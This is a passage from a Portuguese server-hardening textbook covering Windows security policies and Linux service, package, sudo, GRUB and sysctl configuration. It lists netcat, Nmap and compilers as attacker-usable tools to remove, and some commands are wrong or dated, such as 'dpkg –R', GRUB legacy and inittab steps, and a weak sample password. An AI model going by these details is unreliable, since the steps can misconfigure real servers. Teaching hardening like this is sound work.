de diretivas de senha utilizando o console Diretiva de segurança local ou do domínio, se o
servidor for um controlador de domínio.

Figura 9.21 Opções: Capítulo 9 - Configuração segura de


servidores Windows
Diretivas de senha.
11 A senha deve satisfazer a requisitos de complexidade: se essa diretiva estiver
habilitada, as senhas deverão atender aos itens abaixo informados.

11 Aplicar histórico de senhas: configuração de segurança que determina o número de


novas senhas exclusivas que devem ser associadas a uma conta de usuário, para que
uma senha antiga possa ser utilizada. Valor entre 0 e 24 senhas.

11 Armazenar senhas usando criptografia reversível: diretiva que oferece suporte a


aplicativos que necessitam armazenar a senha original do usuário. Essa opção só deve
ser utilizada se realmente for necessário.

11 Comprimento mínimo de senha: configuração de segurança que determina o tamanho


mínimo de caracteres que uma conta de usuário pode conter. Valor entre 0 (desativa) e 14.

163
11 Tempo de vida máximo da senha: configuração que determina o período de tempo
em dias em que uma senha pode ser utilizada antes de o sistema solicitar sua alteração.
Valor 0 desativa o tempo máximo. De 1 a 999 define o espaço de tempo.

11 Tempo de vida mínimo da senha: configuração que determina o período de tempo em


dias em que uma senha deve ser utilizada antes de o usuário poder alterá-la. Valor 0
habilita o usuário a trocar a senha imediatamente.

Diretiva de auditoria
A auditoria de segurança é uma das ferramentas mais poderosas para ajudar a manter a
segurança do sistema. A auditoria deve identificar ataques, bem-sucedidos ou não, que
representam algum tipo de ameaça a sua rede ou ataques contra os recursos determinados
em sua avaliação de riscos.

Principais opções: Figura 9.22


Diretivas de
11 Acesso aos serviços de diretório de auditoria: determina se o Sistema Operacional fará auditoria.
a auditoria das tentativas dos usuários de acessar os objetos do Active Directory.

11 Auditoria de alteração de diretivas: determina se o Sistema Operacional fará a


auditoria de cada instância de tentativas de alteração da diretiva de atribuição de
direitos, diretivas de auditoria, diretivas de contas ou diretivas de confiança do usuário.

11 Auditoria de eventos de logon: determina a necessidade de o Sistema Operacional fazer


auditoria de cada instância de tentativa de logon ou logoff de um usuário no computador.

11 Auditoria de eventos de sistema: determina a necessidade de o Sistema Operacional


fazer auditoria dos seguintes itens:

22 Alteração do horário do sistema.

22 Inicialização ou desligamento do sistema.


Segurança de Redes e Sistemas

22 Carregamento de componentes de autenticação extensível.

22 Perda de eventos que passaram por auditoria devido a falha no sistema de auditoria.

22 Se o tamanho do log de segurança exceder o nível de limite de aviso configurável.

11 Auditoria de gerenciamento de conta: determina a necessidade de o Sistema


Operacional auditar eventos de gerenciamento de contas, tais como criação, alteração e
exclusão de contas de usuário e grupos, definição de senhas etc.

164
Atribuição de direitos de usuários
Em determinadas situações, não basta apenas ativar ou desativar certas diretivas de
segurança. É necessário, em algumas situações, informar quais usuários devem ou não ter
acesso às opções de segurança de um sistema. A atribuição de direitos de usuário determina
quais contas ou grupos têm direitos ou privilégios no computador.

Figura 9.23 Principais opções:


Atribuição de
direitos de usuário. 11 Acesso a este computador pela rede: esse direito de usuário determina quais usuários
e grupos têm permissão para se conectar com o computador pela rede.

11 Adicionar estações de trabalho ao domínio: essa configuração de segurança determina


quais grupos ou usuários podem adicionar estações de trabalho a um domínio.

11 Permitir logon pelos serviços de terminal: essa configuração de segurança determina


quais usuários ou grupos têm permissão para fazer logon como um cliente de serviços
de terminal.

11 Alterar a hora do sistema: permite informar quais usuários têm permissão para alterar
a data e a hora do computador.

11 Apropriar-se de arquivos ou de outros objetos: determina quais usuários podem

Capítulo 9 - Configuração segura de


servidores Windows
apropriar-se de objetos protegidos do sistema, incluindo objetos do Active Directory,
arquivos ou pastas, impressoras, chaves do registro, processos e segmentos. Por padrão,
apenas os administradores possuem essa opção.

11 Fazer backup de arquivos e pastas: direito do usuário que determina os usuários


que podem ignorar permissões de diretório, registro e outros objetos persistentes,
com a finalidade de fazer backup do sistema. Especificamente esse direito de usuário é
semelhante a conceder permissões a usuários e grupos para todos os arquivos e pastas
do sistema, mesmo que essas pastas tenham permissões diferentes.

Opções de segurança
Além das políticas e controles de segurança constantes nas diretivas locais, podemos
destacar também o conjunto de opções de segurança. Essas opções complementam as
políticas de segurança local.

165
Essas opções são divididas em: Figura 9.24
Opções de
11 Acesso à rede. segurança.

11 Auditoria.

11 Configurações do sistema.

11 Contas.

11 Cliente de rede Microsoft.

11 Controles DCOM.

11 Controle de conta de usuário.

11 Controlador de domínio.

11 Console de recuperação.

11 Criptografia.

11 Desligamento.

11 Dispositivos.

11 Logon interativo.

11 Membro de domínio.

11 Objetos do sistema.

11 Segurança de rede.

11 Servidor de rede Microsoft.


Segurança de Redes e Sistemas

166
10
Configuração segura de
servidores Linux
Estudar uma série de técnicas para a configuração segura de um servidor Linux, desde
objetivos

a sua instalação até a publicação do servidor na internet, e realizar a aplicação prática


dos conhecimentos.

conceitos
Instalação do Linux, desabilitação de serviços desnecessários, pacotes e programas,
instalação segura de serviços, acessos administrativos, ferramentas de segurança de
servidores e testes de configuração e auditoria.

Introdução
O elo mais fraco de uma defesa determina a sua resistência. Quando estabelecemos
um perímetro de segurança, limitando o contato com a rede pública através de uma
rede desmilitarizada (DMZ), os servidores públicos passam a ser o elo mais fraco da
rede na maioria dos casos, pois são eles que executam serviços públicos que podem ser
explorados por atacantes através de vulnerabilidades ou de uma configuração incorreta.
O comprometimento de um servidor na DMZ pode permitir a abertura de conexões para a
rede interna, dependendo da política de segurança adotada no perímetro.

Apesar de ser algo considerado no momento de implantação do perímetro, em alguns casos


não é possível realizar um isolamento completo. Como exemplo, podemos citar o trânsito de
correio eletrônico de um servidor público para um servidor interno, ou o acesso a um banco Capítulo 10 - Configuração segura de
servidores Linux
de dados interno a partir de uma aplicação web pública.

Dessa forma, é imperativo que haja um investimento significativo na proteção dos servidores
Hardening presentes na DMZ. Essa proteção de servidores é muitas vezes chamada de hardening,
Processo de mudança e envolve tanto configurações seguras quanto a instalação de software que aumente a
na configuração de um segurança do servidor. Na sessão 9, vimos como configurar um servidor seguro utilizando o
servidor, com o intuito
de torná-lo mais seguro. Sistema Operacional Microsoft Windows Server 2008. Nesta sessão, veremos como configurar
um servidor utilizando o Sistema Operacional Linux. Durante a sessão de aprendizagem,
as informações apresentadas serão, na medida do possível, genéricas, de modo que a
configuração seja independente da distribuição Linux utilizada. Nas atividades práticas,
será utilizada a distribuição Debian, pois é open source e bastante utilizada em servidores.

Durante o decorrer desta sessão, veremos uma série de técnicas para a configuração segura
de um servidor Linux, desde a sua instalação até a publicação do servidor na internet.

167
Exercício de nivelamento 1 e
Configuração segura de servidores Linux
Como que você entende que deve ser feita a configuração segura de servidores Linux?

Instalação do Linux
Normalmente, quando instalamos um Sistema Operacional utilizando as opções padrão,
uma série de programas e serviços instalados pode ser desnecessária para o propósito do
servidor. Dessa forma, é importante ter em mente o papel que o servidor desempenhará,
de modo a realizar uma instalação com o mínimo indispensável para o funcionamento
do servidor. No caso do Debian, existe uma mídia de instalação denominada netinst, que
possui o mínimo de pacotes para montar um sistema básico.

Essa abordagem é interessante, visto que é possível instalar um sistema mínimo e ir


adicionando pacotes para prover as funcionalidades necessárias. Em outros sistemas ou
distribuições, normalmente existe uma opção de instalação avançada, onde o administrador
pode configurar o que será instalado no sistema.

Outra decisão importante em um sistema Linux refere-se ao particionamento do disco


rígido do servidor. Algumas regras interessantes a observar durante a instalação:

11 Qualquer árvore de diretórios em que um usuário puder escrever (como /home, /tmp)
deve estar em uma partição separada e usar quotas de disco. Isso reduz o risco de um
usuário encher seu sistema de arquivos e realizar um ataque de negação de serviço.

11 Diretórios de uso comum como /home e /tmp podem ser colocados em partições
separadas e configurados para não permitir a execução de arquivos (atributo noexec).
Na mesma linha, o atributo nosuid ignorará o bit de SUID e vai tratá-lo como um arquivo
normal, impedindo que um script mal configurado seja executado com permissões de
outro usuário. Esses atributos são configurados no arquivo /etc/fstab.

11 Dados estáticos podem ser colocados em uma partição separada, somente como leitura.
Um exemplo seria a partição /etc/, que após a configuração do servidor, poderia ser
montada em uma mídia em formato de somente leitura, como CD-ROM.

É comum administradores utilizarem ferramentas de imagens de disco para criar uma


imagem de um sistema mínimo já instalado, com os recursos básicos para o bom funcio-
namento de um servidor. Essa imagem pode tornar-se o padrão para a criação de um novo
servidor e o ponto de partida para a sua configuração. Recursos como NTP para sincronismo NTP
Segurança de Redes e Sistemas

de tempo, SSH para acesso de administração e configurações como fuso horário, senhas de Network Time Protocol
administração e permissões de acesso devem ser consideradas nessa imagem. Uma vez defi- é o protocolo de
sincronização de tempo
nida a imagem, esta pode ser usada para futuras instalações, de modo a reduzir o trabalho na internet.
de implantar um novo servidor, além ter uma imagem com uma configuração mínima segura.

Os servidores virtuais têm desempenho menor que os servidores físicos, porém vários
servidores podem compartilhar os mesmos recursos, de modo que um servidor pode
disponibilizar os seus recursos ociosos para outros servidores.

168
Virtualização Em tecnologias de virtualização, o uso de imagens pode facilitar e acelerar muito o
Processo de processo de criação de novos servidores.
conversão de
servidores físicos em
servidores virtuais. Desabilitando serviços desnecessários
Tarefa complexa para um iniciante, que requer conhecimento sobre os serviços. A regra
geral é desabilitar todos os serviços desnecessários que abram portas (TCP/UDP).

Ferramentas/comandos:

11 netstat –an | more (netstat –anp | more)

11 lsof –i <protocolo>:<porta>

11 ps aux | more

11 man <serviço>

Passos:

11 Determinar o target padrão (systemctl get-default)

11 Parar o serviço (sytstemctl stop <serviço>)

11 Remover a inicialização do serviço (systemctl disable <serviço>)

11 Remover o pacote correspondente do sistema (apt-get remove|purge <pacote>

Em instalações padrão de um Sistema Operacional, muitos serviços e programas são inclu-


ídos sem que sejam necessariamente importantes para o serviço que estamos implantando.
Sendo assim, após a instalação do sistema, devemos conferir os processos e serviços execu-
tando na máquina de modo a desativar todos os serviços que não sejam indispensáveis para
o funcionamento do sistema.

Essa é uma tarefa complexa para um iniciante, visto que ele provavelmente não saberá o
que cada serviço faz e poderá ter receio de desabilitar alguns serviços. A regra geral nesses
casos é desabilitar todos os serviços que abram alguma porta, TCP ou UDP no sistema, e
que não façam parte de um serviço legítimo que se queira oferecer. Algumas ferramentas
auxiliam nessa tarefa, mas o administrador deve ter paciência para pesquisar todos os ser-
viços com o intuito de determinar se estes podem ser desabilitados. Recomenda-se ainda
que sejam usadas distribuições Linux ou sistemas Unix que lhe sejam familiares, pois será
mais fácil configurá-las. Alguns comandos úteis para o aluno:

11 netstat –an | more: mostra todas as portas abertas no sistema. As portas em estado

Capítulo 10 - Configuração segura de


servidores Linux
LISTEN são portas aguardando conexão. É importante registrar essas portas e poste-
riormente tentar descobrir o processo associado. Em algumas distribuições, o comando
netstat –anp mostra o processo responsável por aquela conexão. Exemplo da saída do
comando netstat –anp.

LinServer:~# netstat -anp | more


Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:45416 0.0.0.0:* LISTEN 1541/rpc.statd
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 1530/portmap
tcp 0 0 172.16.1.10:53 0.0.0.0:* LISTEN 1765/named
tcp 0 0 127.0.0.1:53 0.0.0.0:* LISTEN 1765/named
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1794/sshd
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN 1814/postgres
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 2096/exim4
tcp 0 0 127.0.0.1:953 0.0.0.0:* LISTEN 1765/named

169
11 lsof –i <protocolo>:<porta>: lista o processo associado a uma determinada porta.
Exemplo: lsof –i TCP:25. Nem sempre a ferramenta lsof está instalada, então em alguns
casos é necessário baixar e instalar a ferramenta. No caso do Debian, o comando apt-get
install lsof é su-ficiente. Considerando o exemplo anterior, o comando lsof –i TCP:111 nos
dará o seguinte resultado:

LinServer:~# lsof -i TCP:111


COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
portmap 1530 daemon 5u IPv4 4255 TCP *:sunrpc (LISTEN)

11 ps aux | more: lista todos os processos do sistema. Processos em execução que não
fazem parte dos serviços que se quer configurar no servidor devem ser registrados
para serem desabilitados. Alguns serviços podem ser importantes para o sistema,
de modo que desabilitá-los pode causar comportamento inesperado. Caso o aluno
seja inexperiente em Linux ou na distribuição em questão, recomendamos que seja
instalado um servidor em laboratório e que sejam feitos experimentos até que seja
desabilitado o máximo de serviços e processos, mantendo os serviços que se deseja
oferecer em funcionamento.

11 man <serviço>: obtém informações sobre um serviço a partir de suas páginas de manual
Runlevel
(man pages). Observe que nem todo processo é necessariamente um serviço. Um serviço
Nível de execução que
consiste em um ou mais processos, que executam continuamente no servidor com o
corresponde a um
intuito de oferecer algum serviço para a máquina ou a rede. número que indica o
modo de execução em
Para descobrir o runlevel padrão do sistema, ou em nomenclatura moderna, seu target,
que se encontra um
execute: Sistema Operacional
Unix. Por exemplo, o
runlevel 1 corresponde
# systemctl get-default
a um modo de execução
graphical.target
onde só um usuário
pode usar o sistema.

Esse target é na realidade o apontamento de um symlink, como mostrado a seguir:

# ls -l /lib/systemd/system/default.target
lrwxrwxrwx 1 root root 16 Jun 13 17:20 /lib/systemd/system/default.target -> graphical.target

Para alterar o target padrão, basta executar:

# systemctl set-default multi-user.target


Created symlink /etc/systemd/system/default.target → /lib/systemd/system/multi-user.target.

Para ver a árvore completa de dependências de serviços dos sistemas, pode-se executar
(altere o valor passado para fuzz para mudar a tolerância de tempo do comando):
Segurança de Redes e Sistemas

170
# systemd-analyze critical-chain --fuzz 1
The time after the unit is active or started is printed after the "@" character.
The time the unit takes to start is printed after the "+" charac-ter.

multi-user.target @12.912s
├─ssh.service @12.550s +361ms
│ └─network.target @12.528s
│ └─networking.service @3.304s +9.222s
│ └─local-fs.target @3.289s
│ └─local-fs-pre.target @3.289s
│ └─keyboard-setup.service @691ms +2.598s
│ ├─system.slice @670ms
│ │ └─-.slice @611ms
│ └─systemd-journald.socket @670ms
│ ├─-.mount @611ms
│ │ └─system.slice @670ms
│ │ └─...
│ └─-.slice @611ms
│ └─...
├─getty.target @12.619s
└─systemd-user-sessions.service @12.529s +88ms
└─network.target @12.528s
└─...

Para desabilitar serviços durante o boot do sistema, basta executar:

# systemctl disable ssh.service


Synchronizing state of ssh.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install disable ssh
Removed /etc/systemd/system/sshd.service

Verifique se o serviço está de fato desabilitado:

# systemctl is-enabled ssh.service


disabled

Para habilitar novamente o serviço, use a palavra-chave enable.

É importante ainda lembrar que desabilitar um serviço não o desinstala do servidor, de


modo que um atacante que tenha acesso ao servidor pode iniciar novamente o serviço.
Após desabilitar o serviço e ter certeza de que ele não será usado, é importante remover o
pacote correspondente do sistema.

Capítulo 10 - Configuração segura de


servidores Linux
Exercício de fixação 1 e
Desabilitando serviços desnecessários
Por que devemos desabilitar os serviços desnecessários?

171
Pacotes e programas
Desabilitar os serviços de rede desnecessários reduz a superfície de ataque ao servidor,
que em combinação com regras de filtragem no firewall proveem uma boa camada de
proteção. Apesar disso, um atacante pode ainda conseguir comprometer um serviço válido e
consequentemente obter acesso ao servidor comprometido. Esse acesso pode possibilitar ao
atacante obter acesso de administrador ou ainda comprometer outros servidores na rede.

Para procurar reduzir o que um atacante é capaz de fazer no servidor em caso de


comprometimento, este deve possuir um conjunto mínimo de pacotes. Em especial, pacotes
que proveem ferramentas para o atacante tentar comprometer outros sistemas. A lista a
seguir sugere alguns pacotes para serem desabilitados.

Deixe para desabilitar pacotes ao final da configuração do servidor, pois você pode precisar
deles para alguma tarefa administrativa:

11 Compiladores de linguagens (gcc, g++ e javac).

11 Pacotes de monitoramento de conexões de rede (TCPdump, Nmap e netcat).

11 Pacotes de produtividade (editores de texto e planilhas de cálculo).

11 Um servidor não deve ser usado como estação de trabalho.

11 Ambiente gráfico (X11): devem ser utilizados os ambientes gráficos das estações para
realizar tarefas de configuração.

11 Muitos serviços possuem ambientes de configuração web ou aplicações cliente-servidor,


de modo que não é necessário manter o ambiente gráfico instalado.

11 Caso seja indispensável, considere filtrar as portas do XWindows (X11) no seu firewall

11 de borda.

11 Serviços de rede não criptografados (Telnet, pop3 e Imap).

11 Dê preferência sempre a serviços criptografados (SSH, SFTP, pop3s e imaps). SSH

11 Serviços que foram desabilitados. Secure Shell é um


serviço criptografado
Desabilitar pacotes pode ser uma tarefa complexa e cansativa. Recomenda-se que se parta do que surgiu para
substituir serviços
princípio inverso, ou seja, realizar uma instalação mínima e ir adicionando pacotes à medida inseguros como scp,
que forem sendo necessários. Ao final da implantação do servidor, devem ser removidos rsh, rcopy e telnet.
pacotes temporários que porventura tenham sido instalados para a configuração do servidor.

Paciência, conhecimento e persistência são princípios fundamentais para essa tarefa.


No Debian, o comando tasksel pode ajudar, pois através dele é possível selecionar as
funcionalidades de que o servidor disporá, de modo que automaticamente os pacotes
correspondentes são adicionados ou removidos. Exemplo de execução do comando:
Segurança de Redes e Sistemas

172
Figura 10.1
Execução do
comando tasksel.

Os pacotes podem ser desinstalados através de dois comandos:

apt-get remove <pacote>


dpkg –R <pacote>

Para remover um pacote, necessitamos primeiro saber o seu nome. Para tanto, podemos
usar algumas ferramentas para procurar o pacote desejado. Como exemplo, imagine que
queremos remover o pacote referente ao SSH:

dpkg –l *ssh*

Esse comando listará todos os pacotes instalados que se referem ao SSH:

Capítulo 10 - Configuração segura de


servidores Linux

Figura 10.2
Lista de pacotes
instalados no
sistema.

173
Nesse exemplo, os pacotes marcados com ii estão instalados no sistema. Dessa forma,
podemos remover os pacotes desejados:

dpkg –R openssh-client
dpkg –R openssh-server

Configuração segura de serviços


Configurar um serviço de forma segura também é complicado e depende do serviço que se
está implantando, porém existem alguns princípios básicos que devem ser observados em
qualquer serviço Unix, como veremos a seguir.

Usuários sem privilégios


Muitos serviços possuem no próprio arquivo de configuração a opção de escolher um
usuário para executar o serviço, de modo a ter o direito desse usuário. A ideia é escolher um
usuário que tenha um mínimo de direitos sobre o sistema, seguindo o princípio do menor
privilégio. Caso o serviço não tenha essa opção, ainda assim é possível criar um usuário e
executar o serviço com os direitos do usuário, com o comando su.

Por exemplo, para executar o serviço serverd, poderíamos utilizar o comando: su


serverd_user –c /caminho/serverd. Alguns serviços necessitam de privilégios especiais
e não são capazes de executar como usuários comuns do sistema. Deve-se tomar um
cuidado extra com esses serviços, como registrar todos os acessos e eventos do serviço
em um servidor de logs seguro, de acordo com o que foi visto na sessão 4.

Chroot
Esse é um recurso presente em sistemas Unix, onde um determinado processo do sistema
enxerga apenas uma sub-árvore do Sistema Operacional. Dessa forma, o processo não será
capaz de ler, gravar ou executar arquivos fora desta sub-árvore. Assim como o usuário sem
privilégios, o chroot é utilizado por diversos serviços modernos. Normalmente a própria
distribuição possui pacotes que instalam o serviço com o recurso.

Configurar um serviço para rodar com esse recurso pode ser uma tarefa complicada, pois
deverão ser previstos todos os recursos que o serviço necessita utilizar, de modo que eles
devem estar em um diretório acessível, dentro da árvore ao qual o processo foi “enjaulado”.
No caso do Debian, podemos procurar se existe versão chroot para o serviço que vamos
instalar, como no exemplo a seguir para um servidor web (Apache):

LinServer:~# apt-cache search apache | grep chroot


libapache2-mod-chroot - run Apache in a secure chroot environment
mod-chroot-common - run Apache in a secure chroot environment

Desabilitar funcionalidades desnecessárias


Segurança de Redes e Sistemas

Muitos serviços possuem recursos adicionais, como plugins, que podem não ser necessá-
rios para o funcionamento do servidor a ser configurado. Dessa forma, o administrador
deve analisar cuidadosamente os arquivos de configuração do serviço, de modo a desabi-
litar qualquer recurso que seja indesejado. Essa tarefa também não é simples e depende
da experiência do administrador em um determinado serviço. Quanto menos recursos o
serviço oferecer, mais seguro ele será. Um exemplo de funcionalidade desnecessária seria
um servidor www Apache instalado com suporte a PHP. Caso não existam scripts em PHP
sendo utilizados, eles podem perfeitamente ser desabilitados.

174
Exercício de fixação 2 e
Configuração segura de serviços
Quais os princípios básicos da configuração segura de serviços?

Acessos administrativos
É comum em servidores existir um acesso administrativo para que o administrador não
necessite se deslocar fisicamente até o equipamento para obter acesso. Normalmente se
utiliza uma emulação de terminal remoto, como o Secure Shell (SSH), ou um console web,
como o webmin. Apesar de ser um recurso prático, deve ser usado com muita cautela, pois
pode permitir a um atacante obter acesso privilegiado ao servidor. Alguns cuidados básicos
devem ser tomados ao tratar de acessos administrativos:

11 Utilizar sempre acessos criptografados para garantir que os dados não serão intercep-
tados em trânsito na rede. Protocolos como Telnet, RSH, RCP e Xwindows devem ser
substituídos por versões seguras, como SSH. Acessos remotos devem ser realizados
através de recurso VPN com criptografia. Consoles de administração web devem sempre
utilizar o HTTP seguro (HTTPS).

11 O administrador deve possuir um conjunto de estações definido para acessar o servidor


e só deve aceitar conexões dessas estações. Essa configuração pode ser realizada através
de permissões de acesso no próprio servidor ou através de filtros de pacotes. Caso haja
a necessidade de acesso de muitos locais distintos, pode-se configurar um servidor com
apenas o serviço de acesso administrativo e utilizar esse servidor para acessar os demais.

11 Em caso de servidores públicos (DMZ), nenhum acesso administrativo deve ser permitido
diretamente a partir da internet. Administradores fora da organização devem utilizar
canais seguros, como VPN, para administrar os servidores sob a sua responsabilidade.

11 Caso seja viável, pois envolve custo financeiro, deve-se utilizar uma autenticação mais
Tokens forte, como tokens e certificados digitais para acessos administrativos nos servidores e
Dispositivos de em conexões VPN.
segurança que
armazenam chaves 11 Utilizar sempre uma conta de usuário comum para acesso, utilizando posteriormente o

Capítulo 10 - Configuração segura de


servidores Linux
de criptografia e comando su ou sudo para obter acesso de administrador. Dessa forma, ficará no sistema o
certificados digitais. registro do administrador que realizou determinado acesso. Caso seja possível, devem-se
Algo que o usuário
possua para comprovar criar contas de administração restritas para administradores que realizam tarefas específicas.
sua identidade.
O comando sudo permite que seja dado acesso de administrador apenas a alguns
comandos, de modo que o usuário pode executar sudo <comando>, para executar um
comando autorizado como administrador. O arquivo /etc/sudoers contém a configuração do
serviço sudo. Caso o sudo não esteja instalado, o comando apt-get install sudo é suficiente
para instalar. Mais informações sobre o sudo podem ser obtidas com o comando man sudo.
O exemplo a seguir mostra uma configuração de sudo, de modo a permitir que o usuário
peixinho.icp possa acessar qualquer comando como administrador.

175
Figura 10.3
Configuração
de sudo.

Atenção para o parâmetro PASSWD, pois caso seja NOPASSWD, o usuário poderá executar
tarefas como administrador sem a necessidade de entrar com a senha do seu usuário.

11 Evite que um usuário possa realizar o primeiro login no sistema como root. Tal configuração
obriga o usuário a autenticar com um usuário comum e, depois, utilizar o sudo para se tornar
administrador do sistema. Para ativar esse recurso, basta apagar o conteúdo do arquivo
/etc/securetty. Observe que alguns sistemas não utilizam o PAM para autenticação (exemplo:
OpenSSH), assim será necessário verificar se essa opção está disponível na aplicação.

11 Não permita que qualquer usuário possa se tornar root utilizando o sudo. O sistema de
autenticação do Linux (PAM) permite que você crie um grupo especial e que somente
membros desse grupo possam se tornar root. Essa configuração vai impedir que um
usuário comum, mesmo sabendo a senha do root, possa se promover como root do
sistema. Para evitar esse comportamento, você deverá criar um grupo chamado wheel
(# groupadd wheel) e modificar o arquivo /etc/pam.d/su (inserindo no final do arquivo a linha
“auth required pam_wheel.so group=wheel”), de forma a permitir que apenas os membros
desse grupo possam se tornar root do sistema. Não se esqueça de colocar um usuário como
membro do grupo wheel (# usermod –G wheel usuario) antes de realizar o logoff.

11 Proteja o sistema de inicialização do Linux (GRUB) com senha. Sem essa proteção, um ata-
cante que tenha acesso físico à máquina poderá reiniciar o sistema como root utilizando
um modo conhecido como Single User Mode. Para desativar essa opção, edite o arquivo
/boot/grub/menu.lst e insira no final a linha “password mudeme”.

11 Um problema simples no Linux é que, se um atacante tiver acesso ao console e apertar


as teclas CTRL + ALT + DEL (utilizadas para autenticar em máquinas Windows), reiniciará,
automaticamente, o servidor. Para evitar esse comportamento, comente a linha “#
Segurança de Redes e Sistemas

ca:12345:ctrlaltdel:/sbin/shutdown -t1 -a -r now” no arquivo /etc/inittab.

176
Ferramentas de segurança de servidores
Existe uma série de ferramentas que podem aumentar a segurança de um servidor. As
mais comuns são os HIDS, que foram tratados na sessão 5. Existem ainda ferramentas que
realizam uma série de mudanças no sistema, com o intuito de torná-lo mais seguro. Dentre
estas, podemos destacar as ferramentas SELinux e AppArmor, disponíveis na internet
e gratuitas. Essas ferramentas não serão tratadas neste curso, por serem ferramentas
avançadas. Porém, se o aluno tiver interesse, existem diversos guias na internet sobre como
instalar essas ferramentas.

Testes de configuração e auditoria


Testar se uma configuração de um servidor está suficientemente segura é uma fase impor-
tante do processo, pois permite verificar se a configuração realizada realmente aumentou a
segurança do servidor. Ferramentas de auditoria como Nmap e Nessus podem ser usadas
no servidor para verificar o nível de segurança atingido. Essas auditorias devem ainda ser
realizadas periodicamente, para verificar a aplicação de atualizações de segurança forne-
cidas pelo fabricante (patches) e se alguma configuração específica não causou nenhum
impacto na segurança do servidor. Mais informações sobre auditoria podem ser encon-
tradas na sessão 8.

Exercício de fixação 3 e
Acessos administrativos
Quais são os cuidados básicos ao tratar de acessos administrativos?

Atualização do Sistema Operacional


Pacotes compilados:

11 Instalação separada.

11 Facilitar a remoção.

11 Manter atualizado manualmente.

Capítulo 10 - Configuração segura de


servidores Linux
É fundamental em qualquer Sistema Operacional a instalação das correções fornecidas pelo
fabricante. No caso do Linux, cada distribuição possui uma forma diferente de instalar essas
atualizações. No Debian, podemos manter nosso sistema atualizado com apenas dois comandos:

apt-get update
apt-get upgrade

177
Figura 10.4
Exemplo de uso do
comando apt-get
upgrade.

Veja que, em alguns casos, a quantidade de atualizações é grande. Nesse exemplo, serão
baixados 61 MB de atualizações. Caso sua distribuição não seja Debian, verifique na
documentação disponível como fazer para atualizar os pacotes. O Debian permite ainda
atualizar a versão instalada, caso uma nova versão seja lançada. Para tal, normalmente
usamos o comando apt-get dist-upgrade, porém existem alguns passos que devem ser
executados.

Pacotes compilados
Em alguns casos, a versão que desejamos de um determinado software não está disponível dA página “Chapter 4.
na distribuição que usamos ou o software em si não foi empacotado pelo distribuidor. Upgrades from
Nesses casos, é muito comum o administrador baixar o código-fonte do software e compilá- previ-ous releases”
detalha o processo de
-lo no próprio servidor. Alguns usuários mais avançados baixam inclusive o núcleo do
atualização de versão
sistema (kernel), para compilar e instalar um kernel customizado. no Debian.

Deve-se tomar cuidado com a instalação de software compilado, pois eles podem se
confundir com os pacotes instalados no sistema, tornando difícil a desinstalação depois.
Deve-se sempre instalar software compilado em diretórios distintos, como o /usr/local ou /
opt. Deve-se ainda fazer um controle dos arquivos instalados pelo software, para facilitar a
desinstalação. As ferramentas de compilação (gcc, g++, etc.) podem ser usadas por um ata-
cante para compilar seu próprio software malicioso, então devem ser removidas após o uso.

Por fim, a instalação de um kernel customizado é uma tarefa complexa, mas que possui a
vantagem de gerar um kernel mais leve e com menos recursos (princípio do menor privi-
légio), de modo que uma vulnerabilidade encontrada em um recurso do kernel, que não
l
Para saber mais sobre
esteja sendo utilizado pelo seu servidor, pode não afetar um kernel customizado sem esse compilação de kernel, a
recurso. O problema é que, a cada atualização do kernel, o administrador terá de recompilá- página “The Linux
Kernel HOWTO” tem
-lo, o que leva tempo e pode sobrecarregar a administração no caso de um ambiente com
informações úteis.
diversos servidores.
Segurança de Redes e Sistemas

178
Sistema de arquivos proc
Muitos parâmetros de kernel podem ser alterados através do sistema de arquivos /proc ou
usando sysctl. Tais alterações podem aumentar o desempenho e segurança geral do sistema.

A seguir são listados alguns parâmetros interessantes (no formato para o arquivo /etc/
sysctl.conf), que deverão ser avaliados caso a caso antes de serem implementados em
ambiente de produção:

net.ipv4.ip_forward = 0 O encaminhamento IP entre placas


só é necessário em servidores
Linux que atuarão como roteador
entre diferentes redes.

net.ipv4.icmp_echo_ignore_all=1 Evita que a máquina responda a


qualquer tipo de ICMP.

net.ipv4.icmp_echo_ignore_broadcasts=1 Previne o ataque de smurf.

net.ipv4.conf.all.accept_source_route=0 Não aceite pacotes de fonte


roteada. Atacantes podem usar
fontes roteadas para gerar tráfego,
fingindo vir de dentro de sua rede.

net.ipv4.conf.all.accept_redirects=0 Redirecionamento de ICMP pode


ser usado para alterar tabelas de
Tabela 10.1 roteamento na máquina-alvo.
Parâmetros
para o arquivo net.ipv4.icmp_ignore_bogus_error_responses=1 Proteção contra mensagens de erro
/etc/sysctl.conf. ICMP falsas.

Pesquise na internet sobre esse assunto, pois existem inúmeros parâmetros que, se
alterados, podem aumentar o desempenho de uma aplicação. Uma última dica: procure por
“tuning tcp/ip” na web e boa sorte.

Capítulo 10 - Configuração segura de


servidores Linux

179
Segurança de Redes e Sistemas

180
Bibliografia

11 BATTISTI, Júlio; SANTANA, Fabiano. Windows Server 2008:


Guia de estudos completo, implementação, administração e certificação.
Editora Novaterra, 2009.

11 BRANDÃO, Robson. Introdução ao Group Policy (GPO). Microsoft TechNet.

11 http://technet.microsoft.com/pt-br/library/cc668545.aspx

11 HERZOG, Pete. OSSTMM 2.1, Open-Source Security Testing Methodology


Manual: http://isecom.securenetltd.com/osstmm.en.2.1.pdf

11 ISECOM. Hacking Exposed Linux. 3ª edição. McGraw-Hill Osborne Media;


2008.

11 MIGEON, Jean-Yves. The MIT Kerberos Administrator’s How-to Guide,


Protocol, Installation and Single Sign On. The MIT Kerberos Consortium, 2008.

11 http://www.kerberos.org/software/adminkerberos.pdf

11 OREBAUGH, Angela. Snort Cookbook. Estados Unidos: Editora O’Reilly


Media, 2005.

11 WALLA, Mark. Kerberos Explained. Microsoft TechNet.

11 http://technet.microsoft.com/en-us/library/bb742516.aspx

11 WESSELS, Duane. Squid: The Definitive Guide. Estados Unidos: Editora


O’Reilly Media, 2004.

11 WEST-BROWN, Moira J. Handbook for Computer Security Incident


Response Teams (CSIRT). Pittsburgh: Carnegie Mellon Software
Engineering Institute, 2003. www.cert.org/archive/pdf/csirt-handbook.pdf

11 SCAMBRAY, Joey. Hacking Exposed Windows: Microsoft Windows Security


Secrets and Solutions. McGraw-Hill Osborne Media, 2007.

